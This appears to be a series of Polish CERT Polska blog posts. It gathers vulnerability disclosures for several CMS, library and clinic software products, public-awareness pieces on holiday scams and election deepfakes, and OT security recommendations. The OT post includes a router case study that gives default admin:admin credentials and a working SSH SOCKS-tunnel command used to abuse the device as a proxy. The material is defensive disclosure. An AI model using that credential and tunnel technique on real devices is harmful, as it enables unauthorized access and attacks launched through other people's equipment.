Podatność CVE-2024-4836 występuje na stronach zarządzanych przez Edito CMS w wersjach od 3.5 do 3.25 włącznie i pozwala nieautoryzowanemu użytkownikowi na pobieranie plików lokalnych, w tym plików konfiguracyjnych zawierających wrażliwe dane, takie jak dane logowania do bazy danych.

Oprogramowanie w wersjach wyższych niż 3.25, jak również wydane w wersji niższej po 10 stycznia 2014, nie jest podatne. Możliwe jest ograniczenie skutków występowania tej podatności poprzez zastosowanie pliku konfiguracyjnego dostarczonego przez producenta.

Podatność w oprogramowaniu SOWA OPAC

2024-07-01T14:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu dla bibliotek SOWA OPAC firmy SOKRATES-software i koordynował proces ujawniania informacji.

Podatność CVE-2024-6050 typu Reflected Cross-Site Scripting (XSS) umożliwia wykonanie skryptu w przeglądarce użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. Podatność dotyczy oprogramowania w seriach 4.x, 5.x i 6.x. Podatność została usunięta w wersjach 4.9.10 i 6.2.12 (wersje z serii 5.x zostały zastąpione przez wersje z serii 6.x).

Podziękowania

Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu. Dziękujemy także producentowi oprogramowania za natychmiastową reakcję i usunięcie zgłoszonego błędu.

Podatności w oprogramowaniu Concept Intermedia S@M CMS

2024-06-28T14:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł trzy podatności w oprogramowaniu Concept Intermedia S@M CMS i koordynował proces ujawniania informacji.

Podatności CVE-2024-3800 oraz CVE-2024-3801 umożliwiają nieautoryzowanemu użytkownikowi wykonanie ataków typu Reflected Cross-Site Scripting (XSS) wykorzystując strony zarządzane przez S@M CMS poprzez zagnieżdżanie skryptów w różnych miejscach. Są to kolejno: nazwy plików, do których dostępy się żąda, oraz jeden z parametrów zapytań GET.

Z kolei podatność CVE-2024-3816 pozwala na wykonywanie ataków Blind SQL Injection odpowiednio manipulując frazy wpisywane w wyszukiwarkę.

Podatności dotyczą wszystkich wersji oprogramowania do 3.3 włącznie. Producent nie dostarczył zespołowi szczegółów dot. powyższych podatności. Nie wszystkie serwisy, które korzystają z tego oprogramowania, posiadają wspomniane podatności. Możliwe więc, że problem dotyczy jedynie niektórych modułów lub też jest zależny od konfiguracji.

Podatności we wtyczce AdmirorFrames do platformy Joomla!

2024-06-28T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach we wtyczce AdmirorFrames do platformy Joomla! i koordynował proces ujawniania informacji.

Podatność CVE-2024-5735 typu Full Path Disclosure występuje w skrypcie afHelper.php i umożliwia nieautoryzowanemu atakującemu uzyskanie lokalizacji głównego folderu witryny.

Podatność CVE-2024-5736 typu SSRF (Server Side Request Forgery) w skrypcie afGdStream.php umożliwia uzyskanie zdalnego dostępu do plików lokalnych lub stron serwera dostępnych normalnie tylko z poziomu lokalnego hosta.

Podatność CVE-2024-5737 jest spowodowana przez skrypt afGdStream.php, który nie określa typu zawartości nagłówka, w rezultacie czego używany jest domyślny (text/html). Atakujący może osadzać znaczniki HTML bezpośrednio w danych obrazu, które są renderowane przez stronę internetową jako HTML.

Podatności zostały usunięte przez autora wtyczki w wersji 5.0.

Podziękowania

Za zgłoszenie podatności dziękujemy Marcinowi Wyczechowskiemu i Michałowi Majchrowiczowi z firmy AFINE.

Podatność w oprogramowaniu CRUDDIY

2024-06-24T14:00:00+02:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność w otwartoźródłowym oprogramowaniu CRUDDIY i koordynował proces ujawniania informacji.

Podatność CVE-2024-4748 pozwala na wstrzyknięcie komend powłoki poprzez wysłanie specjalnie utworzonego w tym celu żądania POST do serwera aplikacyjnego. Ryzyko wykorzystania podatności jest ograniczone, ponieważ instancje projektu CRUDDIY nie powinny być publicznie dostępne w Internecie. Niemniej jednak jeśli użytkownik, który posiadałby serwer uruchomiony lokalnie, odwiedziłby stronę z zaszytym skryptem wysyłającym żądanie do serwera, to mógłby zostać ofiarą skutecznego ataku.

Ponieważ podatność nie została uznana przez autorów za istotną, projekt nie otrzymał łatki usuwającej tę słabość. Ostatnią testowaną wersją była 202312.1, jednakże nowsze wersje również mogą być podatne.

Podatność SQL injection w oprogramowaniu MegaBIP

2024-06-24T12:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.

Podatność CVE-2024-6160 umożliwia dowolnej osobie wstrzyknięcie kodu SQL w zapytaniu, co w konsekwencji może doprowadzić np. do ujawnienia zawartości bazy danych przez atakującego, poznania ciasteczek sesyjnych czy modyfikacji treści stron. Podatność dotyczy programu MegaBIP we wszystkich wersjach do 5.12.1.

Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej

Cyberparawan powraca

2024-06-21T10:00:00+01:00

Czy wakacje to dobry czas dla cyberprzestepców? A może skoro w biurach panują pustki i ludzie zamiast przed ekranem spędzają czas na plaży, to oszuści również robią sobie wolne? Niestety nie.

Wakacyjne miesiące to dla cybeprzestępców czas jak każdy inny. A relaks i nowe otoczenie czasami dodatkowo osłabiają naszą czujność. Dlatego kolejny raz ruszamy z cyklem edukacyjnym z zakresu cyberbezpieczeństwa. Przez okres wakacji będziemy przypominać o metodach stosowanych przez oszustów i dawać wskazówki jak się ich wystrzegać.

W zeszłym roku w naszym cyklu #CyberParawan ostrzegaliśmy przed kradzieżą danych osobowych, a także “nigeryjskim spamem” w nowej odsłonie, czyli oszustwem na amerykańskiego żołnierza. Zachęcaliśmy do korzystania z uwierzytelniania dwuskładnikowego, którego szczegóły przybliżamy w artykule, a także do przesyłania nam SMS-ów zawierających potencjalnie szkodliwe linki na numer 8080, bo w ten sposób razem możemy powstrzymać phishing. Przypominaliśmy o tym, że przestępcy stosują różne sztuczki socjotechniczne i że warto zadbać o bezpieczeństwo swojej firmy podczas urlopu.

Wszystkie te ostrzeżenia i zachęty nadal pozostają w mocy. Ale w tym roku zaplanowaliśmy coś nowego. Zabieramy Was w podróż przez wakacyjne oszustwa. Dla tych, którzy jeszcze nie zarezerwowali swoich wakacji opowiemy o oszustwie, w którym wykorzystywany jest wizerunek firmy Booking. Później coś dla rodziców, czyli wiadomość od dziecka, które zniszczyło lub zgubiło swój telefon. Co robić w takiej sytuacji? W połowie wakacji opiszemy oszustwa romantyczne. Później zrobi się niepokojąco, bo opiszemy przypadki telefonów od policji z innego państwa, a na koniec wrócimy powoli do realiów biurowych i opowiemy o sposobach na wyłudzenie danych logowania do Facebooka. Oczywiście w naszych social mediach w wakacje nie zabraknie też postów z cyklu o deepfake oraz aktualnych ostrzeżeń. Warto być z nimi na bieżąco!

Podatność w oprogramowaniu 2ClickPortal

2024-06-14T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu 2ClickPortal firmy Trol InterMedia Sp. z o.o. Sp. k. i koordynował proces ujawniania informacji.

Podatność CVE-2024-5961 typu Reflected Cross-Site Scripting (XSS) umożliwia wykonanie skryptu w przeglądarce użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. Podatność dotyczy wersji od 7.2.31 do 7.6.4. Wersja 7.6.5 zawiera poprawkę bezpieczeństwa. Aktualizacja powinna zostać wdrożona automatycznie do wszystkich systemów klienckich.

Podziękowania

Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu. Dziękujemy także producentowi oprogramowania za natychmiastową reakcję i usunięcie zgłoszonego błędu.

Krytyczne podatności w oprogramowaniu MegaBIP

2024-06-12T16:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatności w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.

Podatność CVE-2024-1576 poprzez wstrzyknięcie zapytania SQL umożliwia dowolnej osobie na uzyskanie uprawnień administratora strony, w tym m.in. dostępu do panelu administracyjnego oraz możliwości zmiany hasła administratora. Podatność została usunięta przez autora oprogramowania w wersji 5.10.

Podatność CVE-2024-1577 umożliwia wykonywanie dowolnego kodu na serwerze bez konieczności uwierzytelnienia poprzez zapisanie spreparowanego przez atakującego kodu PHP do jednego z plików strony. Podatność została usunięta przez autora oprogramowania w wersji 5.12.

Podatność CVE-2024-1659 umożliwia atakującemu wgranie dowolnego pliku na serwer (w tym pliku z kodem PHP) bez konieczności uwierzytelniania. Podatność została usunięta przez autora oprogramowania w wersji 5.11.

Pomimo wielokrotnego kontaktu z autorem oprogramowania, odpowiednie poprawki i przekazane zalecenia nie zostały wdrożone. Działając jako CSIRT NASK, na podstawie art. 33 ust. 3 ustawy z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz. U. 2023 poz. 913 i 1703) wystąpliliśmy o wydanie stosownych rekomendacji.

Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej

Aktualizacja 18.06.2024

Została opublikowana wersja 5.12 oprogramowania MegaBIP, w której usunięto podatność CVE-2024-1577. W związku z tym zaktualizowaliśmy informacje na temat wersji programu objętych tą podatnością.

Aktualizacja 24.06.2024

W programie MegaBIP do wersji 5.12.1 znaleziona została kolejna podatność typu SQL injection. Podatności nadaliśmy identyfikator CVE-2024-6160.

Aktualizacja 09.07.2024

W programie MegaBIP do wersji 5.13 znaleziona została kolejna podatność typu SQL injection. Podatności nadaliśmy identyfikator CVE-2024-6527.

Podatności w oprogramowaniach przychodni medycznych

2024-06-10T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniach aplikacji medycznych stosowanych przez przychodnie i koordynował proces ujawniania informacji.

Eurosoft Przychodnia

Podatność CVE-2024-1228 polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, hasła do bazy danych. Podatność dotyczy oprogramowania Eurosoft Przychodnia do wersji 20240417.001, która zawiera poprawkę bezpieczeństwa.

drEryk Gabinet

Podatność CVE-2024-3699 polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, hasła do bazy danych. Podatność dotyczy oprogramowania drEryk Gabinet od wersji 7.0.0.0 do 9.17.0.0. Wersja 9.18.0.0 zawiera poprawkę bezpieczeństwa.

SimpleCare

Podatność CVE-2024-3700 polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, hasła do bazy danych. Podatność dotyczy oprogramowania Simple Care firmy Estomed Sp. z o.o. we wszystkich wersjach. Oprogramowanie nie jest dalej wspierane.

Inne programy

Podczas koordynowanego ujawniania podatności kontaktowaliśmy się także z producentami innych programów stosowanych w przychodniach medycznych. W przypadku programu mMedica firmy Asseco podobna podatność została wykryta wewnętrznie i usunięta we wcześniejszych latach, w związku z czym odstąpiliśmy od nadania identyfikatora CVE. W przypadku programów Kamsoft KS-AOW i Kamsoft KS-PPS, producent zapowiedział wprowadzenie rozwiązań zniechęcających do używania domyślnego, predefiniowanego hasła.

Zalecenia dot. konfiguracji oprogramowania przetwarzającego dane wrażliwe

Przeprowadzona analiza wykazała, że częstą praktyką stosowaną przez administratorów placówek medycznych jest udostępnianie moźliwości połączenia z bazą danych medycznych z publicznej sieci Internet. Umożliwia to atakującym przeprowadzenie ataków siłowych (brute-force) na poświadczenia lub wykorzystanie podatności tego typu (CWE-798 Use of Hard-coded Credentials) do pozyskania wrażliwych danych przechowywanych w bazie.

Dostęp do baz danych przechowujących dane szczególnie chronione powinien być możliwy do uzyskania jedynie poprzez połączenie lokalne lub sieć prywatną (VPN) z uwierzytelnieniem wieloskładnikowym.

Zespół CERT Polska rekomenduje producentom oprogramowania wdrożenie mechanizmów wymuszających ustawienie przez użytkownika złożonego hasła do bazy danych podczas pierwszej konfiguracji środowiska oraz możliwość jego zmiany w przyszłości w razie potrzeby. Więcej informacji na temat haseł oraz rekomendacje techniczne dla systemów uwierzytelniania znajdują się na stronie cert.pl/hasla.

Podziękowania

Dziękujemy Jakubowi Staśkiewiczowi, autorowi bloga OpenSecurity za przekazanie zgłoszenia podatności znalezionych przez anonimowego czytelnika. Na blogu OpenSecurity został opublikowany artykuł "Wrażliwe dane medyczne milionów Polaków na wyciągnięcie ręki" omawiający proces ujawniania podatności od strony zgłaszającego.

Aktualizacja 11.06.2024:

Doprecyzowaliśmy fragment związany z aplikacjami firmy Kamsoft, które nie używały zakodowanych na stałe haseł, a jedynie predefiniowane. Dodatkowo, po kontakcie, producent zapowiedział wprowadzenie rozwiązań zniechęcających do użycia domyślnego, predefiniowanego hasła.

Deepfake i wybory

2024-06-05T14:00:00+01:00

Wybory do parlamentu europejskiego już w ten weekend, ale to wcale nie znaczy, że 10 czerwca ten tekst przestanie być aktualny. I to nawet nie dlatego, że w 2025 roku czekają nas wybory prezydenckie.

Polska jest w tej chwili bardzo ważnym punktem na geopolitycznej mapie świata. Tuż za naszą granicą toczy się aktywny konflikt zbrojny. Faktem jest również, że okres wyborczy to czas, kiedy kraj naturalnie jest w okresie przejściowym. Wystarczy bardzo niewiele, aby zdestabilizować sytuację na dłużej.

Ale miało być o technologii deepfake. Co ona ma z tym wspólnego?

Deepfake, czyli ja tego nie powiedziałem

Mówi się, że kłamstwo powtarzane tysiąc razy staje się prawdą. A co dopiero kłamstwo zilustrowane odpowiednim materiałem video lub bardzo przekonującym „nagraniem” kompromitującej rozmowy.

Technologia deepfake pozwala dosłownie włożyć w usta dowolnej osoby dowolne słowa. Nic więc trudnego w tym, aby użyć tej technologii do spreparowania nagrania polityka, który głosi niepopularne lub kompromitujące poglądy lub po prostu zachowuje się w sposób odstręczający wyborców.

W społeczeństwie, które jest bardzo mocno spolaryzowane taki filmik lub nagranie raczej nie przekona nikogo do zagłosowania na inną opcję polityczną, ale… Ale może skutecznie zniechęcić do, udziału w wyborach tych, którzy zastanawiali się, czy w ogóle warto głosować.

Deepfake, czyli moja racja jest mojsza

Materiały deepfake można też wykorzystywać w bardziej subtelny sposób - tworząc treści polaryzujące społeczeństwo. Nie jest tajemnicą, że społeczeństwo staje się coraz bardziej spolaryzowane i obracamy się wśród ludzi, którzy podzielają nasze poglądy, na innych patrząc w najlepszym wypadku podejrzliwie.

Technologia deepfake pozwala tworzyć treści, które idealnie wpiszą się w istniejące już podziały. Deepfake’i z politykami lub celebrytami głoszącymi skrajne opinie idealnie nadają się do pogłębiania podziałów w społeczeństwie.

Deepfake, czyli wybory zostały odwołane

Wykorzystanie technologii deepfake pozwala też fabrykować wiadomości imitujące oficjalne komunikaty na temat godzin głosowania, lokalizacji lokali wyborczych lub tego w jaki sposób należy oddać ważny głos. W ten sposób można ją wykorzystać do ingerowania w sam proces wyborczy.

UważajMY

Kto jest „najlepszym” celem dla twórców zmanipulowanych treści.

My – my wszyscy.

Choć deepfake’i to bardzo sprytne narzędzie, to tak jak w przypadku innych sfabrykowanych treści, najbardziej narażeni są Ci, którzy nie mają w zwyczaju weryfikować informacji. Zwyczajowo wspomina się w tym miejscu dzieci i osoby starsze, ale czy każdy z nas nie ma na sumieniu takich grzeszków?

Niestety nie możemy zakończyć tą mocną pointą, bo trzeba wspomnieć o drugiej grupie – czyli tych, którzy służą jako „materiał” do tworzenia deepfake’ów. Wizerunek wszystkich osób publicznych od celebrytów po polityków może zostać wykorzystany do stworzenia przekonujących fałszywek.

Pamiętajmy!

Jesteśmy w gorącym miejscu i czasie. Technologia deepfake pozwala wznieść znane oszustwa i schematy na nowy poziom. Sensacyjne newsy z politykami i celebrytami obiegają media społecznościowe z prędkością błyskawicy. Łatwo w ten sposób zasiać zamęt. A technologia deepfake sprawia, że materiały są jeszcze bardziej wiarygodne.

Więcej o technologii deepfake, nie tylko w kontekście wyborów można dowiedzieć się z naszego cyklu w mediach społecznościowych (FB, X, LI) - #WiedzAInformacje. Zapraszamy!

Pamiętajmy, że nie wszystko w internecie to prawda.

Projekt DNS4EU – współpraca na europejskim poziomie

2024-05-21T12:00:00+01:00

DNS4EU to element strategii cyberbezpieczeństwa opublikowanej przez Komisję Europejską. Celem projektu jest wprowadzenie prywatnego i bezpiecznego publicznego resolvera DNS w ramach Unii Europejskiej, co przyczyni się do budowania niezależności w obszarze usług cyfrowych. Projekt jest realizowany przez międzynarodowe konsorcjum, w skład którego wchodzi m.in. CERT Polska.

- Skuteczne rozwiązania w zakresie cyberbezpieczeństwa to priorytet dla wszystkich państw Unii Europejskiej. Nie da się ich jednak stworzyć bez współpracy. Chcemy, by rozwiązanie nad którym pracujemy stanowiło alternatywę dla obecnie dominujących na rynku usług, kontrolowanych przez podmioty spoza UE – powiedział Sebastian Kondraszuk, kierownik zespołu CERT Polska.

Wykorzystanie resolvera DNS4EU będzie w pełni dobrowolne, a użytkownicy zawsze będą mieć możliwość korzystania z usługi innego dostawcy. Jednakże jedną z przewag DNS4EU będzie skuteczna ochrona przed zagrożeniami wymierzonymi w obywateli UE poprzez szybkie blokowanie niebezpiecznych stron na poziomie DNS.

Po stronie NASK-PIB projekt realizuje CERT Polska wspólnie z Centrum Badań i Rozwoju. Nasze prace skupiają się na wczesnym wykrywaniu domen wykorzystywanych do phishingu, a efekty będą również służyły do ulepszenia prowadzonej przez nas Listy Ostrzeżeń przed niebezpiecznymi stronami.

Projekt realizuje międzynarodowe konsorcjum tworzone przez Whalebone (Czechy, lider), CZ.NIC (Czechy), CVUT (Czechy), Time.lex (Belgia), deSEC (Niemcy), HUN-REN Sztaki (Węgry), ABILAB (Włochy), DNSC (Rumunia) oraz NASK-PIB.

Projekt oficjalnie rozpoczął się w styczniu 2023 roku, a wsparcie finansowe UE będzie trwać trzy lata. Przez ten czas zostanie opracowany model biznesowy, który zapewni długofalowe utrzymanie usługi. Należy jednak zaznaczyć, że publiczny resolver pozostanie bezpłatny dla użytkowników końcowych. Więcej informacji znajduje się na oficjalnej stronie projektu: www.joindns4.eu.

Numer grantu: 101095329 21-EU-DIG-EU-DNS, pełna nazwa projektu: DNS4EU and European DNS Shield.

Rekomendacje dla wzmocnienia ochrony systemów OT

2024-05-17T13:00:00+02:00

W ostatnim czasie CERT Polska obserwuje zwiększoną liczbę ataków na przemysłowe systemy sterowania (ICS/OT) dostępne bezpośrednio z internetu. Podobne przypadki odnotowali również nasi zagraniczni partnerzy. Ataki te najczęściej są motywowane aktywistycznie lub politycznie i mają na celu medialne wykorzystanie udanego ataku. Warto zaznaczyć, że CERT Polska odnotował również przypadki, w których atak miał realny wpływ na działanie fizycznych systemów.

W związku z obserwowanym zagrożeniem CERT Polska od trzech lat prowadzi działania pod nazwą #BezpiecznyPrzemysł, w ramach których w sposób zautomatyzowany poszukiwane są źle zabezpieczone urządzenia przemysłowe dostępne z internetu. W przypadku wykrycia błędnej konfiguracji właściciel urządzenia (jeśli to możliwe) otrzymuje powiadomienie o związanym z tym zagrożeniu wraz z rekomendacjami.

Niestety w wielu przypadkach urządzenia przemysłowe podłączone są do internetu przez routery komórkowe, których adres IP wskazuje na operatora komórkowego, którego karta SIM została użyta. W takiej sytuacji nie mamy możliwości dotarcia do właściciela, możemy jedynie przekazać informacje do operatora telekomunikacyjnego. Dlatego kluczowa jest świadomość zagrożeń związanych z wystawieniem urządzeń do internetu i znajomość najlepszych praktyk realizacji dostępu zdalnego tam, gdzie jest on konieczny – zarówno po stronie właścicieli urządzeń, jak i firm wdrażających i sprzedających rozwiązania OT.

W związku z poważnym zagrożeniem wzywamy podmioty posiadające systemy przemysłowe do podjęcia natychmiastowych działań i wprowadzenia opisanych poniżej rekomendacji.

Techniczny opis zagrożenia

Obserwujemy działania licznych grup, najczęściej prorosyjskich, które wykorzystując ogólnodostępne serwisy, takie jak Shodan, Zoomeye czy Censys, wyszukują urządzenia i aplikacje związane z przemysłowymi systemami sterowania. Najczęściej ataki przeprowadzane są na dostępne z internetu:

panele WWW systemów HMI i SCADA z brakiem uwierzytelniania lub słabym hasłem,
usługi VNC z brakiem uwierzytelniania lub słabym hasłem, dające zdalny dostęp do panelu HMI czy systemu SCADA,
routery z modemem komórkowym z domyślnym lub słabym hasłem albo posiadające znane podatności,
protokoły przemysłowe bez uwierzytelniania, jak Modbus, BACnet czy PCOM.

Poniżej prezentujemy fragment filmu opublikowanego przez jedną z grup prorosyjskich, który pokazuje modyfikację parametrów pracy gminnej oczyszczalni ścieków, po uzyskaniu do niej dostępu przez usługę VNC ze słabym hasłem:

Najważniejsze zalecenie

Kategorycznie odradza się eksponowanie bezpośrednio do internetu systemu umożliwiającego sterowanie procesem przemysłowym, nawet jeśli wydaje się, że jest on skonfigurowany w trybie tylko do odczytu. Oznacza to, że:

NIE NALEŻY umożliwiać bezpośredniego zdalnego połączenia z wykorzystaniem protokołów jak VNC czy RDP oraz oprogramowania zdalnego wsparcia technicznego,
NIE NALEŻY umożliwiać bezpośredniego zdalnego dostępu do panelu WWW systemów sterowania i wizualizacji, nawet jeśli stosowane jest silne hasło,
NIE NALEŻY udostępniać portów, na których działają protokoły przemysłowe – w szczególności umożliwiające konfigurację urządzenia.

Jeśli do odczytu lub sterowania procesem wymagany jest zdalny dostęp, należy skorzystać z VPN z wieloskładnikowym uwierzytelnianiem. Dotyczy to również małych instalacji, które najczęściej padają ofiarą ataków.

Zalecenia szczegółowe

Poniższe rekomendacje są rozbudowane i zdajemy sobie sprawę, że nie każdy podmiot będzie w stanie je wdrożyć. W pierwszej kolejności należy zatem zadbać o opisane powyżej najważniejsze zalecenia.

CERT Polska/CSIRT NASK w zakresie opisanego problemu rekomenduje:

Zmniejszenie do minimum ekspozycji sieci przemysłowej, zarówno sieci lokalnej, jak i punktów styku, poprzez identyfikację i ograniczenie do koniecznych połączeń „z" i „ do" tej sieci.
Przeprowadzenie przeglądu zdalnego dostępu i ograniczenie go do niezbędnego minimum, w szczególności należy zwrócić uwagę na modemy komórkowe i metody zdalnego dostępu podwykonawców.
W przypadku gdy zdalny dostęp jest potrzebny, powinien być zawsze realizowany za pomocą VPN z wieloskładnikowym uwierzytelnianiem.
Tam, gdzie to możliwe, ograniczenie dostępu do VPN dla określonych adresów IP lub ich zakresów. Przykładowo: gdy podmiot nie ma współpracowników ani podwykonawców zagranicznych, rekomenduje się ograniczenie możliwości nawiązania sesji VPN tylko dla polskich adresów IP.
W przypadku gdy niezbędny jest zdalny przesył danych telemetrycznych za pomocą sieci komórkowej, rekomenduje się wykorzystanie prywatnych APN-ów.
Zmianę domyślnych danych uwierzytelniających z zastosowaniem dobrych praktyk związanych z silnymi hasłami (o ile urządzenie takie hasła wspiera) na wszystkich urządzeniach, w szczególności tych posiadających interfejs webowy, oraz wyłączenie niewykorzystywanych kont.
W miarę możliwości, gdy nie ma przeciwwskazań, aktualizowanie wykorzystywanych systemów, w szczególności podczas planowych postojów.
Stosowanie segmentacji sieci – minimalnie na styku sieci przemysłowej z innymi sieciami, a preferencyjnie, zależnie od rozmiaru i złożoności sieci, również wewnątrz.
Przeprowadzenie analizy widoczności urządzeń poprzez zewnętrzne skanowanie zakresu adresacji należącej do obiektu czy wykorzystanie narzędzi typu Shodan.
Tam, gdzie to możliwe zdalny dostęp powinien być realizowany na żądanie. Każde prowadzenie zdalnych czynności na systemie powinno zostać odnotowane w sposób pozwalający jednoznacznie zidentyfikować czas, cel i źródło prowadzonych prac.
Wykrywanie anomalii w ruchu sieciowym, w szczególności odbiegających od połączeń realizowanych podczas normalnego trybu pracy instalacji.
Utwardzenie konfiguracji wykorzystywanych urządzeń i oprogramowania przez wyłączenie niewykorzystywanych funkcji i konfigurację wbudowanych dodatkowych mechanizmów bezpieczeństwa. Często domyślnie są one nieaktywne.
Zgłoszenie osoby kontaktowej do CSIRT NASK, aby usprawnić ścieżkę reakcji w przypadku wykrycia tego typu incydentu.
Zarejestrowanie się w systemie n6 przez podanie swojej adresacji IP i domeny, co pozwoli na wysyłanie przez CERT Polska powiadomień w przypadku wykrycia nieprawidłowości.

Case Study

Na początku roku CSIRT NASK otrzymał od CSIRT MON informację o atakach brute force na usługę SMTP jednego z podmiotów. Atak prowadzono z dwóch adresów IP. Alarmujące było to, że na obu adresach widoczne były usługi związane z systemami przemysłowymi – na jednym był to port 502 (protokół Modbus), a na drugim port 102 (protokół S7) oraz panel WWW sterownika Siemens S7-1200. Po dokładniejszej analizie uznano, że cechą wspólną, nietypową dla tego typu urządzeń, jest port 22 (SSH). Dodatkowo na jednym z adresów na porcie 80 był dostępny panel WWW komórkowego routera przemysłowego Elmatic Sparrow. Z dużym prawdopodobieństwem stwierdziliśmy, że zaobserwowane wcześniej protokoły przemysłowe zostały udostępnione właśnie za pomocą tego routera komórkowego.

Nadal nie było jednak jasne, jak atakujący mógł przeprowadzić atak brute force, wychodząc z danego adresu IP. W tym celu musiałby albo przejąć router i wykonywać to bezpośrednio z niego, albo prowadzić atak z zainfekowanego urządzenia wewnątrz sieci. W danym momencie bardziej prawdopodobna wydawała się druga możliwość.

Udało się nam nawiązać kontakt z jednym z dotkniętych podmiotów i poprosić go o analizę ruchu wewnątrz sieci. Okazało się, że żaden podejrzany ruch nie był widoczny, mimo że ataki nadal trwały. W takiej sytuacji, o ile ruch został poprawnie zebrany, ataki musiały wychodzić bezpośrednio z routera komórkowego, co prawdopodobnie powodowało, że były one niewidoczne dla systemów monitorujących sieć wewnętrzną.

Przeszukując dostępne źródła, nie natrafiliśmy na żadne znane podatności dotyczące routera Elmatic Sparrow ani NavigateWorx (który technicznie jest tym samym urządzeniem). Poprosiliśmy dotknięty podmiot o pozwolenie na zalogowanie się na urządzenie, ale podmiot nie miał informacji o danych logowania – urządzenie zostało zainstalowane przez firmę trzecią. Bardzo niepokojące było to, że domyślne ustawienia: login i hasło (admin:admin) zadziałały. Jednak w interfejsie webowym nie było bezpośrednio możliwości przeprowadzenia omawianego ataku (o ile nie została użyta podatność w tym interfejsie).

Router poprzez interfejs webowy posiada wbudowane narzędzie pozwalające nagrać ruch sieciowy na interfejsie WAN. Wykorzystaliśmy je i udało się potwierdzić wychodzące ataki brute force na znaczną liczbę podmiotów:

Podejrzewaliśmy wykorzystanie nieznanej podatności, więc skontaktowaliśmy się z firmą Elmark Automatyka będącą jedynym dystrybutorem urządzenia Elmatic Sparrow w Polsce. Reakcja firmy była pozytywna i otrzymaliśmy egzemplarz urządzenia do testów.

Po uruchomieniu routera i sprawdzeniu otwartych portów zauważyliśmy, że poza panelem WWW dostępna jest również usługa SSH na porcie 22. Port ten widzieliśmy też wcześniej, otwarty na urządzeniach, z których był prowadzony atak. Okazało się, że w domyślnej konfiguracji możliwe jest zalogowanie do usługi SSH również z użyciem poświadczeń admin:admin, a co więcej, jest ona domyślnie włączona na interfejsie WAN:

Byliśmy pewni, że w ten sposób uzyskamy dostęp do powłoki systemu, gdzie znajdziemy skrypt prowadzący atak. Jednak po zalogowaniu okazało się, że router udostępnia jedynie bardzo ograniczoną powłokę CLISH.

Podczas prowadzonych testów nie udało się nam z eskalować z ograniczonej powłoki i nie znaleźliśmy sposobu na uruchomienie dodatkowych poleceń pozwalających wykonać atak z konta admin. Nie znaleźliśmy również (w czasie krótkich testów) żadnej podatności pozwalającej uzyskać zdalny dostęp do powłoki systemu.

Potwierdziliśmy natomiast, że na obu dotkniętych adresach IP działało hasło admin:admin do SSH (a na jednym z adresów nie było dostępnego panelu WWW). W związku z tym nasza uwaga jeszcze mocniej skoncentrowała się na tej usłudze. Niestety nie mogliśmy dostać fizycznie urządzeń, które były zaatakowane, aby poddać je dokładniejszej analizie.

Kolejną hipotezą, którą rozważyliśmy było wykorzystanie usługi SSH, posiadającej domyślne poświadczenia, do stworzenia tunelu, który pozwoliłby skorzystać z routera jako proxy do prowadzenia ataków.

Przetestowaliśmy, czy taki sposób wykorzystania zadziała na naszym egzemplarzu urządzenia:

ssh -p 22 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -N -D 127.0.0.1:1080 admin@x.x.x.183

Powyższa komenda powinna otworzyć lokalnie port 1080, z którego cały ruch przychodzący będzie tunelowany przez urządzenie. Potwierdziliśmy, że faktycznie jesteśmy w stanie uzyskać adres IP urządzenia, odwołując się do zasobu w internecie:

Po przedstawieniu tych informacji dotkniętym podmiotom i we współpracy z nimi udało się potwierdzić, że istotnie był to użyty wektor ataku.

W tym przypadku tunel został użyty do przeprowadzenia ataków brute force na inne usługi w internecie, ale tego typu atak mógł posłużyć również do uzyskania dostępu do wewnętrznej sieci LAN atakowanego podmiotu, co byłoby znacznie groźniejsze. W konsekwencji możliwe byłoby uzyskanie poprzez tunel bezpośredniego połączenia z urządzeniami przemysłowymi wewnątrz sieci. Co więcej, nawet jeśli podmiot korzystałby z VPN skonfigurowanego na urządzeniu dla dostępu do sieci LAN, to pozostawienie na urządzeniu usługi SSH ze słabym hasłem pozwoliłoby atakującemu ominąć VPN.

Razem z firmą Elmark Automatyka podjęliśmy działania, aby znaleźć właścicieli wszystkich routerów Elmatic Sparrow oraz NavigateWorx, widocznych w internecie, i powiadomić ich o konieczności zmiany domyślnego hasła i wyłączenia nadmiarowych usług. Dodatkowo firma Elmark Automatyka przygotowała na swojej stronie internetowej, a także rozesłała do klientów poradnik, jak bezpiecznie skonfigurować urządzenie oraz ma w planach dołączenie wydrukowanej ulotki na ten temat do pudełka z urządzeniem. Mamy również nadzieję, że w kolejnych wydaniach firmware domyślne ustawienia zostaną zmienione na bezpieczniejsze.

Przedstawiony przypadek pokazuje, jak ważne są: zmiana domyślnych poświadczeń, utwardzanie konfiguracji urządzenia przez ograniczanie dostępnych usług oraz monitorowanie sieci – na wypadek gdyby atakujący użyli urządzenia do ataku na sieć lokalną.

Dziękujemy firmie Elmark Automatyka za wzorową współpracę i zachęcamy innych dostawców w Polsce do tworzenia w języku polskim instrukcji bezpiecznej konfiguracji dla urządzeń przemysłowych.

Podatność w oprogramowaniu Online Shopping System Advanced

2024-05-14T12:00:00+01:00

Opis podatności

